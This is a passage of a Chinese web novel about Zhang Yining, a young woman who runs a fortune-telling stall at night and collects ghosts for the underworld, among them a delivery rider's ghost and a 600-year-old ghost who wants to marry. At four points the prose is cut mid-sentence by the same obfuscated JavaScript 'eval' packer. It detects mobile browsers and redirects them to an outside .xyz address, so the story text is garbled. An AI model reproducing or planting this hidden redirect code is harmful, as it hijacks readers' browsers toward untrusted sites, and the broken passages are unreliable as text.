她对这些牌面没有一点了解,更不知道分别意味着什么,只看到被抽出的三张牌,一张牌上有个数字齿轮,一张牌上有个高塔,最后一张牌是一个高举术杖、头顶莫比乌斯环的男人。有个男人,和所求对上号了,应该…大概…也许是好的吧…… “唔……妙啊!”张祎宁撑着下巴若有所思地点了点那张命运之轮牌。 目光转向高塔,深吸一口气摇了摇头,“怎么会是他?” “谁?”女子抓住了关键词,急切问道。 “你见过的啊。就、是、他。” “哪一个?” “你现在心里想的那个。” 女子陷入了沉思。 张祎宁见势,不给她思考的机会,补充道:“你今天就见过他的,在济福寺。” 女子闻言仰起头,目光炯炯,眼尾逐渐上挑。 她知道,自己赌对了。 “大师能否多指点一二?我……我不敢确认……” “看家本领,言尽于此啦。” 明明自己是货真价实的掌簿,从鬼门关回来的人,怎么搞得跟个神棍一样…… “他是我的良人吗?” 张祎宁的大脑飞速旋转,她可以胡诌,没有人会把一个天桥上三无神棍的话多当回事,可是“良人”这个词太重,世间有许多女子会习惯性将心将全部倾注在另一个个体身上,而这场押注极大的豪赌就系于对方是否是“良人”。她不想靠近这场赌注,更不能在这张牌桌上放一个子儿。 她指着那个手握束杖的男人卡牌,“让他握束杖还是你自己握,这是由你决定的。” “那我还会再见到他吗?” “有缘之人,自会相见。” “谢谢大师!谢谢大师!我就说要相信科学!” …… 成何体统!阿弥陀佛……呸呸……伏羲大帝、鬼谷子大祖、天罡大爷、郭璞大师,各路神仙,亵渎了亵渎了…… 年轻女子说什么都要付钱,心虚作祟,张祎宁展现出了十足的大师形象,打死不肯收,她就将那副塔罗牌留给了张祎宁。 张祎宁默默地在卡纸板的“算命”下面新增“塔罗牌”三字,这可如何是好?她发现算命这玩意儿,还真能致富。 真诚建议,找人算命的时候还是把那些显眼的物件都藏一藏,比如去逛了济福寺就能免费领到的矿泉水瓶。 开张的第四晚,无客。 开张的第五晚,有客。 不速之客。 还是那样如清风般温柔的笑容,他像鬼一样悄无声息地落座在对面,吓了张祎宁一跳,哦,他本来就是鬼,快成精的老色鬼。 “你怎么找到我的?”张祎宁语气不善。 “偶然。”他笑弯了眉眼。 “不是,大哥,爷爷,祖宗,咱们有事好商量,你就不能换一个愿望?稍微朴实点的愿望?” 张祎宁此刻的心态很矛盾,经历了一次痛不欲生的“死来死去还死不成”后,这个死缠烂打追着自己的KPI真的很令尚未开张的她心动,可偏偏是块送到嘴边又塞不进嘴的生肉。 他仔细思忖片刻,而后展颜,真诚答道:“没有。你不能与我成婚吗?” “不能!你谁啊你就想和我结婚!” 张祎宁缓缓地在汇聚来的目光中盖住了嘴巴。 “我是刘元詹,你告知于我的。” …… 代沟,深深的代沟! 正打着小算盘该如何将如今自由恋爱、平等婚姻的观念灌输给他,张祎宁猛然看见他的背后有另一只鬼飘过,开张了!!!!!!!!!!! 蹲守了一个星期,总算蹲到。 她将刘元詹抛到脑后,以百米冲刺般的速度追上那只匆匆飘过的鬼,是个戴着安全头盔的外卖小哥。 “小哥等等,走太快了……你急着上哪去?跟我走吧,我送你上路。”她拦在对方面前,气喘吁吁地发出真诚邀请。 小哥茫然地看了她一眼,摇摇头,拒绝道:“不走。”穿过她的身体自顾自向前。 张祎宁这是第一次被鬼穿过身体,还是眼睁睁看着对方冲过来再穿身而过,她觉得此刻自己化作了一泓秋水,风吹过,掀起身体的各处涟漪,她低下头,急于摸摸全身看有没有分毫损伤。 “等等我,你等等我。” “不跟你走,我还有事。” 再次遭到拒绝,她也不惊讶,正常鬼都应该是这个态度,除了那个钉子鬼。 “小哥你现在已经是个鬼啦,什么事都做不成,只能在人间游荡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448781|185225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你就跟我走吧,可以跟我说说你还有何事未了,我还是个活人,我能帮你完成呀!只要完成后给我一个五星好评就行~” 听懂了张祎宁的意思,他总算停下脚步,回身正色道:“差评!” 这年头的鬼都这么不可理喻吗?她这么好的态度,还没开始服务就要给差评?! “差评?你……”不待张祎宁发作,他就打断了诘问,“差评!我被车撞了,还有最后几单没送完,肯定是超时了,我想知道那几单顾客会不会给我差评,投诉我。” “就这?” 他点点头。 张祎宁将外卖小哥领回算命摊的时候,刘元詹还安安静静地坐在那里,清峻挺拔的背影看上去莫名有些乖巧,真是的,一个连□□都没有的鬼坐什么凳子啊? 虽然她最开始备两张凳子的时候也没有这样的觉悟。 “小哥,是这样的,你的手机我们是拿不到了,也就没办法确切看到是否有差评,只能去那几家店的评论区看看有没有骑手差评,你还记得最后那几单都有些什么店吗?” “记得,一家红姐东北饺子,一家极美味石锅拌饭,还有七中烧鸡和一碗麻辣烫。” 她依言点开这几家店的评论区,倒是只在其中一家店的评论区看到了相关的留言。 “这个,七中烧鸡,9月11日中午1点45分的评论,‘气死了!拉黑!差评!等了两个小时都没到,商家和骑手是都噶了吗???’是这个时间吗?” 小哥蹲在旁边看着那条差评,说:“9月11日,上周三中午,对,是这个时间。” 张祎宁无法回复留言,只能通过联系店家的方式希望他帮忙解释一下。店家说,事发之后他马上就告知对方迟到原因,平台也换骑手补送了新的一份过去,但是对方还是没有撤销掉差评评论,他也无能为力。 她只能麻烦店家在差评评论下面再补充一遍解释,店家人很友善,接受了这个陌生人在大晚上不营业时间的奇怪请求。 这样算完成了吧?张祎宁偷瞄了外卖小哥一眼,看他仍然拧着眉头若有所思的样子,便也不吭声。 她一会儿瞧瞧小哥,一会儿看看刘元詹,刘元詹那看着自己含情脉脉的眼神,真会让人异想天开地误以为和他前世有过什么羁绊,但她知道,没有。 之前曾问过阎王关于刘元詹的事情,因为他实在太令人好奇了,一个遗留在人世六百年不愿离去的长得还有几分姿色的鬼,为的竟是与人成婚? 据说曾经的黑白无常和掌簿们都知道刘元詹这只鬼,也都知道他要与人成婚的夙愿,奈何黑白无常是男的,掌簿们人鬼殊途也通不了婚,这才让他“光棍”到现在,所以,张祎宁知道,刘元詹不是想同她成婚,而是想成婚,同谁都行。 当时听完后,她满头黑线,问阎王道:“就没有什么强制手段直接给他勾魂?” “无。祖训如此,人身既灭,魂归地府,即入轮回;人身虽死,而魂非死,盖永存不灭者。没有鬼能耐得住日复一日游离之孤苦,最长不过伴心心念念之人了却残生便也入轮回,他的执念却因无法实现而愈加永固,吾等既无法助他了结,便由他去。” 阎王又悠悠道:“而今生育率下降,转生名额也是有限的。” 张祎宁愕然道:“那你还给我制定KPI!投胎都堵车了,还抓小鬼!” “一码归一码。” * “我还记得准备要送去的那家地址,送的是红姐东北饺子。” 外卖小哥突然说话,打断了她的胡思乱想。 她犹豫片刻,方不确定地问:“唔……你是想让我上门去给别人解释一下吗?会不会有点冒犯有点奇怪啊?” 他又不说话了,眼巴巴地盯着张祎宁看,行吧行吧,两只鬼都盯着她看,要她一个刚入社会、刚出地府的人想办法,她干就是了! “明天中午在那家门口碰头,我去给你解释,但你要先帮我一个忙,你从现在到明天见面的这段时间去找你能见到的所有鬼,告诉他们在这个天桥上每天晚上九点左右有个巴掌算命摊可以帮他们了结夙愿,勾魂入关,让他们都来找我。” “行!我是我们片区的飞毛腿!要是那辆电动车也能跟着我就好了……” 她又转向刘元詹,道:“我也能帮你,我会找到一个女鬼,届时你便与她成婚,在这之前你爱去哪去哪,只是别忘了定期来算命摊找我,免得错过了。” “好。”刘元詹温言答道。 我张祎宁!代号巴掌!便要做这前无古人后无来者的最伟大掌簿,留名地府! 5. 飞毛腿 次日中午,张祎宁如约来到那户人家门口,小哥已经到了,正百无聊赖地……在楼梯间翻跟头,不会受伤就是好啊……看到张祎宁后,他兴奋喊道:“我比你早到,我可是准时达,一次都没有迟到过!” 站定在她面前后,小哥又饶有兴致地问:“你知道我们为啥是这种状态不?”说着,他将手穿过侧边的墙壁,像是伸手探入墙内掏什么东西,而后又轻轻巧巧地伸出来。 “呃,也许因为你们现在是灵魂?” “为啥灵魂是透明的呢?你说我这种穿墙到底是碰到了墙还是没碰到墙?还有啊,我碰同类的时候也是这样的,还以为能摸到呢。” 我又不是造物主!我怎么会知道这些事情? 张祎宁一边暗自腹诽,一边保持着面部表情的和善,努力措辞道:“等我下次见到阎王了,我一定记得帮你问问他哈,或者你有幸比我先见到,就自己问问。” “好吧,我就是在等你的时候看到这个扶梯,特想从最顶层这样一路滑下来,以前我送外卖的时候下楼梯就想这么干了,或者直接从楼上跳到楼下,这多快啊,我现在能直接跳下来了,但发现自己根本坐不上这个扶手,会穿过去。” 听到这个回答,张祎宁的表情差点没绷住,要不是为了保住这求来的小命,她才不想知道这些个事儿,不想见到鬼,更不想看见这些鬼天天在自己面前不走寻常路地上蹿下跳。 为什么不能玩滑梯?你都已经能体验蹦极了,不能玩滑梯怎么了? 她没再理会小哥那些天马行空的十万个为什么,上前一步,深吸一口气,按下门铃。她有些紧张,毕竟在现实世界和人交流,她还是一个名副其实的社恐,小哥也难得地安静了下来,两人杵在原地,听着铃声在门后闷闷回响。 过了一会儿,门内有人喊道:“谁啊?” 门闩咔哒一声解锁了,是个阿姨,她只打开了一条门缝,警惕地看向门口站着的陌生女孩。 “呃……阿姨,是这样的,您是不是9月11日就是上周三中午的时候点了一次红姐东北饺子,当时迟迟没到是因为配送的外卖员出车祸了。” “所以呢?我也没给差评啊,至于么,追到家里来讲一遍,要怎样,要我给他跪下磕头?不会是要讹我让我给他出医药费吧!” 见越说越离谱,张祎宁摆摆手解释道:“不不不,不是的阿姨,我就是来解释一下。” “神经病!泄露我地址隐私,我投诉你!” “别别,阿姨……”她最后的乞求被隔绝在门后,碰了一鼻子的灰。 其实能预料到这样的结果,但小哥就这最后一个请求,她没法不帮他完成。 为了避免再被阿姨误会,到时候叫来警察可就解释不通了,她赶紧离开这个是非之地。 “呃……那个……她说她没给你差评。”张祎宁看着前面低头默不作声下楼梯的小哥,斟酌着提取出最有价值的信息。 “嗯,那就好。” 他先于张祎宁一步步入阳光之中,仰脸感受倾面的温热。中午大概是他平时最忙碌的时段,这样的烈阳只会晃他的眼,只会濡湿头盔下的头发,而此刻,他们正在友好交流,和平共处。 张祎宁就停在原地,站在楼梯的阴影里,她仍不喜欢烈阳,下意识躲避。 她突发奇想,举起了手机对准这一幕,眼睛看到的和屏幕里呈现的有很大的区别,但她仍然按下了拍摄键。 似有所觉,小哥转过脸看向她,比她的道歉先到的是轻快的语调:“怎么样?拍得到吗?” 张祎宁走下楼梯,也暴露在了阳光下,将屏幕转给他看,“没有,能拍到的话就成惊悚片了。” 他不见失落,爽朗地笑着附和她,“哈哈哈惊悚片里的鬼最后的下场都是要被道士或者男女主拿那个什么桃木剑之类的给杀死的!”话及此,他停顿了一下,笑容僵硬在了脸上,“我……你不会也要施个法或者用个这种道具吧?” “别紧张,小道具而已,不是那种打打杀杀的,”她笑嘻嘻地安慰着明显带上紧张神色的对方,从包里掏出阴身簿,“看,就是个本子而已,这个本子上会有你的信息,我念出你的名字以后,你就会消失了。有点像《西游记》里金角大王那个喊‘你敢答应吗’的葫芦。” “葫芦……那个收进去以后不就化成脓水了?会痛吗?” 她忘了还有这一茬。 “我就打个比方,你肯定不会化成脓水,你就是会去你该去的地方而已。应该不会痛,很快的,眼睛一闭一睁的事情,之前试过的鬼没有说痛的。”当然,要是真会痛的话她也不会知道。 在小哥视死如归的注视下,张祎宁翻开阴身簿,上面清清楚楚地显现出了字。 正要念出声,她看向对方,还是表现出了一丝人道主义关怀,问道:“你还有什么想说的话或者想做的事情吗?”毕竟自己其实也没帮上什么忙。 “没有了,我这个人从小做什么事情都吊车尾,让所有人都失望,他们都说我没出息没得救,但在送外卖这件事上,我是我们片区最快最好最少投诉和差评的,我还赚了好多钱打给家里人,起码不是一事无成,不过也就到这里了。” 情绪转折得太快,张祎宁不是擅长安慰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448782|185225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人,相当于是只管“收尸”,不管身前身后,她能察觉出对方的悲伤,却无法出言安慰,反倒尴尬,正如此刻,拿着本阴身簿颇不自在,念也不是,不念也不是。 但短暂的午休时间敲了她一闷棍,理智回笼。 “等一下,有件事!有件事!” 她正要念呢,就被高声打断,差点咬着舌头。 “我昨晚照你的嘱托到处给你做宣传,在里巷遇到了一只鬼,他躺在地上一动不动,我还以为死掉了呢,然后他说他腿断了,走不动路,没法去找你。” “腿断了?即使生前腿断了,现在也是能走的吧?” “我不知道,他就是一个劲儿地说腿断了,走不了,你要是有兴趣可以自己去看看。” “好的,谢谢你。” 听到张祎宁的谢谢,他愣了会儿神,不好意思地挠挠后脑勺,腼腆笑道:“不耽误你时间了,来吧。” “张长贵。” “嗯。” 熟悉的剧情再次上演,她只来得及说声“一路平安”,小哥就消失不见了。 小哥,真的是小哥,才刚满20岁,比自己还小。 消失的是张长贵,眼前出现的却是一幅巨型排行榜,上面实时变动着人名和人名后的星级,这难道就是掌簿们的绩效榜?排在前头的星数都数不清,排行榜出现了,也就意味着张长贵给了她五星好评吧,效率还真高,这鬼门关看来不长,他应该是来不及受到什么痛苦的吧。 因为实在没做什么,张祎宁最后都不好意思叫他留好评,没想到他竟然记得,也许是习惯使然。 这是张祎宁拿到的第一个五星好评,也就是达到的第一个KPI,距离本月目标,达成一半。 排行榜出现的位置正对着太阳,她懒得眯起眼睛细看,便低下头,看见了自己的影子懒散地躺在脚边,一切都像从未发生,连影子从始至终也都只有自己孤零零的一个。 她叹了口气,退回到阴影里。 上完早班就赶了过来,到现在还没吃一口饭,她突然有些想吃饺子,点开外卖软件,因为有过搜索记录,首页的第一家推荐店铺便是红姐东北饺子。 她下意识点开评论区,一条新留言于两分钟前出现:“离谱太离谱!骑手和商家泄露地址隐私追上门想讹医药费,已经投诉。” 张长贵,你给了我五星好评,我却还你一星差评和投诉,你会不会气得要还阳把我也带走?好在你已过奈何桥,再无回头路,我便祝你下世苦尽甘来、平安喜乐。 张祎宁从包里掏出了遮阳帽和遮阳伞,大步往地铁站走去。 6. 新生活 张长贵不愧是飞毛腿,当天晚上便有鬼找上门,往后的几天也如此。 这些鬼大部分都是新鲜热乎的急单,他们刚死不久,希望她能快点找去案发现场帮他们把手机里那些不可告人的痕迹消除;有的是因为事发突然,还有很多事情没来得及告知家人,希望能帮忙转告一声。 这些急单能在远程线上完成的,比如以朋友的名义发条信息过去或是在网上帮忙炸个号之类的,张祎宁都完成了,其它便爱莫能助。毕竟跑去案发现场碰亡者的手机这种事情,哪怕不是命案,她也会被盯上的好吗! 张祎宁大部分时候都坐在折叠凳上一边对这些无理要求暗暗吐槽,一边借着黑暗遮挡翻白眼,她现在已经养成了炉火纯青的隐蔽翻白眼技巧。 那些陈年老单多半是在别的掌簿处碰壁后到她这里试试,几乎都是些复仇单,经验丰富的掌簿都完不成,她更是为难,但也捡漏了好几个绝望后执念散去自愿被勾魂的。 “你今日很开心?”刘元詹问道。 让他只需定期来找,却不想他日日在此,什么也不做,就安安静静地在旁边呆着,像个摆件。每日来找张祎宁的鬼见了他都要好奇看上两眼,问她一句:“这就是那几百年还没走的鬼?”后来竟有鬼慕名而来,就为了看这个怪胚几眼。 他有点活字招牌那意思,张祎宁也就不急着赶他走了,况且自己还放下过话要帮他的。 张祎宁翘着脚,语气是毫不掩饰的轻快:“开心啊,爆单了,我离上榜指日可待,而且这几个月我都是安然无恙度过的。” 他自是听不懂张祎宁在说些什么,但还是笑着应道:“开心便好。” “刘元詹,你现在可比我受欢迎多了,别气馁,许亲这件事肯定很快就能成。” “好。” 好好好,说什么都是好,一副任人拿捏听话的模样,但是勾魂的时候又不是这样。之前也遇上过几个女鬼,张祎宁求她们帮帮忙跟他成个亲,就当救他一命添个福报,明明双方都同意,阴身簿却还是没有任何反应。他平平静静看不出喜悲,倒把张祎宁气得够呛,钉子户就算了,还是这么难拔的锈钉子! 好在这几天都爆单,张祎宁很快就忘记了挫败的烦恼,她感觉自己起码可以有几个月不会再受到“死亡痛觉”的威胁,接下来得花心思放在现实生活里了,每天除了上班就是上班,白天写字楼上班,晚上算命摊兼职,她的个人生活约等于无。 首当其冲的大事就是搬家,自己现在还恬不知耻地因着“病号”名头赖在学校宿舍楼里,倒是没人来赶她,但新学期马上要开始了,不如趁着最新收获颇丰的契机歇两天业,拾掇拾掇。 租住的屋子已经选好了,是个离公司比较近的老小区,毕竟她只是个初出茅庐的新社会人,没有多少积蓄,况且能满足她的要求:僻静、单间、性价比高的也只有老小区了。 这个小区离摆摊的天桥不算近,要转两趟地铁,走路的话需要半个小时,七拐八拐的,这甚合她心意,可以省去在天桥摆摊时遇到同事的尴尬。 好!这个周末歇业!搬家! 张祎宁握紧双拳,振奋地决定完后,瞥了眼在对面小板凳上正襟危坐的刘元詹,清了清嗓子,说道:“刘元詹,明后天你就不用过来了,我不开摊。” 他抬眼望向她,轻轻点了点头。 转念一想,一计上心头。 “刘元詹,我明后天需要搬家,所以实在没空来摆摊,搬家你懂吧,就是给自己找个能睡觉的地方。但是你看这两天有那么多鬼找上门,生意是前所未有的好,我担心如果我两天不摆摊,他们就会都跑掉,到别的掌簿那儿去,后面要再想接上这个断档可就难了……” 张祎宁皱着眉头摆出痛心疾首的样子,边说边瞄刘元詹的反应,对方没有什么特别的反应,只是认真地听着,不出一言。她这些天总结出了经验,和刘元詹这鬼说话还是得打直球,拐弯抹角地,他反应不过来。 所以,“刘元詹,你明后天可不可以帮我守在这?如果见到有鬼上门找我,就帮我跟他们说一声,说巴掌处理天大急务去了,让他们周一晚再来找我。” 白天不允许摆摊,她也不能支棱个牌在这,思前想后,刘元詹是最好的带话鬼。 “可以。” 他同意了! “刘元詹你真好!放心,有我巴掌一碗饭,肯定有你刘元詹一口汤,再说,这也是为你自己好,你给我留住更多的鬼,我也好多多给你找些女鬼试试对不对?” 痛心疾首、痛心疾首! 张祎宁为自己面不改色地剥削百年老鬼而感到羞愧,还学会了剥削话术——“这也是为你自己好”,可是,白白损失两天的进账,她是真的舍不得啊…… 她一边为自己这么快就遭到腐蚀而暗自心惊,一边挤出最灿烂最发自肺腑的感恩笑容给刘元詹。 * 张祎宁意识到她对于自身到底有多少行李这件事情明显认知不足时已经有点晚了,靠在门边望着一地的狼藉和左边已经装好的两个大袋子、右边还未归置的一堆生活用品,她只想一把火全部烧掉。 “不行不行,振作起来张祎宁,今天必须全部搞定,明天才能开始收拾新家!”她捶捶胸口给自己打气。锤脑袋这样的不好习惯早在出院第二天就被她严格改掉了,脑袋多脆弱啊…… 重新回归到这堆垃圾中间,她打定主意,不能再这样全部东西都装进袋子里了,必须要断舍离。 她抓着袋子一角,挑挑拣拣有资格和自己共同步入新生活的伙伴们,“高考笔记,这得带着,都是我的心血。” “这个宇宙飞船摆件原来掉到柜子里了,怪不得一直找不到,这可是套圈赢的,运气的见证,得带。” “这洗衣液才用了几次,还满的,丢了多浪费啊。” …… 最后,她只断舍离了一小片无用的垃圾,绝大部分还是装进了纸箱和蛇皮袋里。 原本设想的自己肩扛手提两三个行李袋就可以完成搬家,现在看来只是个笑话,在计算了一番打车或者地铁来回几趟的人力成本加金钱成本后,她果断地躺倒在椅子上乖乖叫了货拉拉。 有了搬家师傅的协助,原本预计的时间直接打了个对折,中午两点,张祎宁已经站在新家思考每件物品该如何归置了。 一房一厅,足够她的日常生活起居,就是客厅这个沙发,不是,应该是叫罗汉床,这个东西和她设想的温馨客厅有冲突,在她的设想里,和温馨客厅配套的该是软软的暖和的布沙发,当然现在正值炎热时节,罗汉床她暂时还能接受。 费了九牛二虎之力从宿舍搬过来的几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448783|185225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个大箱物件,当全部在新家找到落脚地之后,又显得那么空荡和微不足道,凭空消失似的,张祎宁确认了好几次,确定没有东西落在宿舍里。 那些东西几乎是她的全部身家,很多甚至是从老家搬到宿舍的,比如小时候的剪报本、寥寥无几的相片,甚至还有小学时代的扎头绳、外婆的荞麦枕头和蒲扇,又都被她一股脑搬来了这里。 其实也没有多少东西,甚至装不满一房一厅。 * 张祎宁很喜欢这里,小区不算大,只有两个前坪,一个大概是小小的娱乐场,水泥地板上安置了几个扭腰器、推背按摩器、平步机,供中老年人和儿童做些简单的健身拉伸运动。 另一个藏身于高大的悬铃木阴影里,树下设有两方石桌,一方象棋、一方围棋。这里大概是小区居民最爱之处,不管是之前被中介带来看房时还是她自己看周边环境路经时,又或是搬家的时候,树下总聚集着三三两两的人。 虽然小区真的又旧又破,没有电梯,楼梯间能看到天花板上的蜘蛛网,但她很喜欢这里,甚至想,如果能存到足够多的钱,这里会是她的首选,因为这棵大树,因为它的不远处就是晚上会打折抛售的便民超市,还因为它年头够久、空气里永远漂浮着饭菜的味道。 吃罢午饭,正是昏昏欲睡的时候,她百无聊赖地走到窗边,往下一眼又瞧见那棵悬铃木。 树下没有人,竟然没有人!张祎宁穿着拖鞋噔噔噔地跑下楼。 舒服,太舒服了,这就是她记忆里树下乘凉该有的感受!树上的蝉鸣吱吱,耳边有热风吹过,但因为进入了阴影处又夹带有清爽,和被炙烤后滚烫的水泥地相比,屁股底下的石板凳冰冰凉凉的,如果此刻再有个冰西瓜抱在怀里挖着吃,啧,人间妙事啊…… 张祎宁贪婪地陶醉在此情此景中,毕竟说不定等一下就有成群结队的大爷大妈来占场了,她得抓紧时间充分感受。 舒服地长吐一口浊气,张祎宁缓缓睁开了眼睛,有什么东西好像从眼前跑了过去? 她狐疑地转头四下寻找,终于,当眼神飘向大树后时对上了一双眼睛,倒吸一口凉气后,她飞快转移视线,假意在四下张望,总之绝对没有在看他。 但刚刚停顿的一瞬间是对上眼了的,也不知道自己有没有控制住表情,会不会让对方发现自己能看得见他。 那个小鬼果然从树后站了出来,先是站在树边一动不动地看向她,突然,冲了过来!冲到了张祎宁旁边,离她只有一拳之隔,左看看右看看,用透明的手捅了捅她的手臂,又将脸怼在她面前,观察她的反应,围着她一直绕圈转……你搁这秦王绕柱呢…… 张祎宁沉住气,装作没看见,努力保持淡漠的表情,还打了个极长的哈欠,眼神迷离,等小鬼终于闹够了消停了觉得没意思了一溜烟跑远后,紧绷的背脊才放松下来。 应该是没被看出来,骗骗小鬼的本事还不至于这么差。 她不希望在这里,在家附近以“掌簿”的身份生活,掌簿的角色在天桥算命摊扮演就足够了,一旦入侵现实生活的领地,会给自己带来无穷尽的麻烦。在自己所划定的这块领域,保护这块地盘的现实性,她才感觉自己不过是个平平凡凡努力生活的普通人。 确定小鬼不会再出现后,张祎宁噌地站起,一溜烟跑回了家。 7. 遗物 自从工作以后,张祎宁几乎就没享受过周日悠闲的夜晚,心里总惦记着KPI。 为了庆祝搬新家、新生活的到来以及这几个月爆单的快乐,她在整洁又温馨的新家点了顿奢侈的外卖,奢侈到足够留出剩菜作为周一上班的两餐。 吃饱喝足后她瘫在罗汉床上悠闲得无所事事。无所事事简直是世界上最有意义的人生大事。她尽力抛掉对刘元詹的歉疚感,安心地窝着一动不动。 刘元詹毕竟是鬼嘛,鬼能有什么事可做的?到处游荡还不如帮我看看摊子,那谁叫我是人呢?人可忙了,这要做那要做的,况且我还是掌簿,还答应了要帮他,那为了我也为了他自己,帮我这么一点点点小忙应该没问题吧? 嗯,没问题的。 张祎宁给自己做完全套流程的心理安慰后,起身走到窗边,她不想承认,搬到新家的第一天就遇到小鬼,这是凶兆,毕竟自己来了这么多次,早不见晚不见,偏偏尘埃落定后见到,都不给自己反悔的机会,唉…… 像是自己精心把一块大饼分好了,就留了一小块围在脖子上,偏偏别人看不到那些分好的,逮着机会就要往自己脖子上来一口。 楼下的路灯灯光稍有些昏暗,影影绰绰的,飞虫的影子映在水泥地上,就变成了一闪而过的巨大黑影,奇妙的动态总将人的目光吸引过去。 树下一片漆黑,路灯的光照范围只到石桌一角,她看不清那个小鬼是不是还在树底下,毕竟以他的形态,几乎是与黑夜融为一体的。她只看了一会儿就收回视线,逃避了一下午,可不能在自家里被抓个正着。 平时忙着还没感觉,今天清闲地早早躺在床上,倒是平白生出空落之感,也许这就是传说中的周日综合征,想到明日就是新一周忙碌的开始,就有种不想时间前进的迫切感,再与现在的舒适作对比,迷茫、痛苦横亘在心头,她烦躁地翻来滚去,只能乱蹬被子出气。 张祎宁啊张祎宁,这辈子可预见的你就是个劳碌命了,早做准备吧,给资本打工和给阎王打工都一样,是条不归路。 就在这唉声叹气中,她接受了自己的命运,睡了过去。 第二天早上张祎宁九点才出门,比起之前住学校宿舍需要坐地铁或者骑自行车才能到公司,现在住的这个小区距公司只有两条街道之隔,她完全可以走路上下班,摆摊的天桥则在相反的另一个方向。 她又看见了那个小鬼,正背向着自己蹲在墙角不知捣鼓些什么,她不敢放慢步子,也不敢多瞧两眼,小鬼是最缠人的。 * 筋疲力尽捱到了晚上,张祎宁急急忙忙赶往天桥,今天又免费加了一个小时的班,要不是上司又犯轴,她早就下班了,想到脾气古怪的上司,想到明天还得面对那一大堆令人头疼的废纸,她就感到绝望。可惜人看不到鬼,不然她就找两个小鬼去吓吓上司,让他多积点德,少祸害人。 刘元詹果然早早就到了,站在那左闪右避的,躲过匆匆而过的行人,他皱着眉头,一脸严肃,脚下没有章法,胡乱地四下躲闪,像是在跳一曲滑稽的个人独舞。 张祎宁就站在不远处看着,没忍住噗嗤一声笑了出来,直到看到他抬起手,以宽袖擦了擦额角,似在拭汗,才慢悠悠走过去。 “刘元詹,到得可真早呀。” 她一边揶揄着,一边从包里掏出折叠凳和卡纸板。 刘元詹松了口气,不自觉向张祎宁靠近一步,靠得越近,就越不容易碰到旁人。 “昨日有二人来寻你。” 果然有客上门! “他们有说是什么差事吗?你又是怎么跟他们说的?”她饶有兴致地问道。 刘元詹站在边上看张祎宁蹲着摆弄折叠凳,闻言意兴盎然地抬脸看他,只好继续站着,答道:“未说因由,我让他们今日再来此处寻你。” “啧,你这可不是待客之道啊。”她小声嘟哝了一句,但声音极小,怕是不敢让刘元詹听见。 将摊子张罗开后,刘元詹就自然地坐在了外侧的凳子上。 张祎宁看着他,还是堆出了之前的笑脸,“谢谢你帮我看摊子,要没有你,这两个顾客指不定就跑了呢。” “那你的事情完成了吗?” “嗯嗯!完成了!我也有自己的家了,虽然还是租来的,但我很满意。” “那就好。”他噙着笑,点点头。 见刘元詹没再对周末义务帮自己加班看摊的事有什么不满,她内心里那一小点点的愧疚荡然无存。 放松下来后,她很自然地切换成了闲聊模式:“刘元詹,你最近对以前的事情有没有什么新的记忆,我很好奇呢。” 他问道:“多远以前?” “你能想到的多远就是多远。” “无甚特别的,记忆里大概就一直呆着这个……这个城市?”他斟酌了一下用词,“最开始应该是在一户人家里呆了一阵,但已然忘记他们的模样,后来四处游走寻找适合的栖身之所。你见到我的那处,是我刚觅得不久的地方,从那里可以望见湖心。” “在别人家里呆了一阵?是你认识的人家吗?” 他摇摇头,“应当不是。” “那你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448784|185225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这算私闯民宅啊。”想到那户人家就这么跟一个六百多年老鬼同住屋檐下一段时间,她都替他们打了个寒颤,好在自己现在能看见鬼,她可不想跟鬼同住一屋。 “人气太盛,我也略感不适。” “在这之前的就都忘了?” 听他随口提起的,也不知历经了多久,也许这随口两三句就已经是许多人的一辈子之久。 “很是模糊,千篇一律,就都记不清了。” 张祎宁继续追问:“你觉得这个城市是你的家吗?就是曾经,曾经会是你的生长之地吗?” 他也很耐心地回话:“不是。我有印象自己是从别处而来。” “哦?”张祎宁挑了下眉毛,“你们不会被束缚在某地吗?比如出生或者死亡的地方?” “应是不会。” “那多爽啊!你这六百年说不定早都环游过中国了,又或者早都到开辟的新大陆上转过一圈了!” 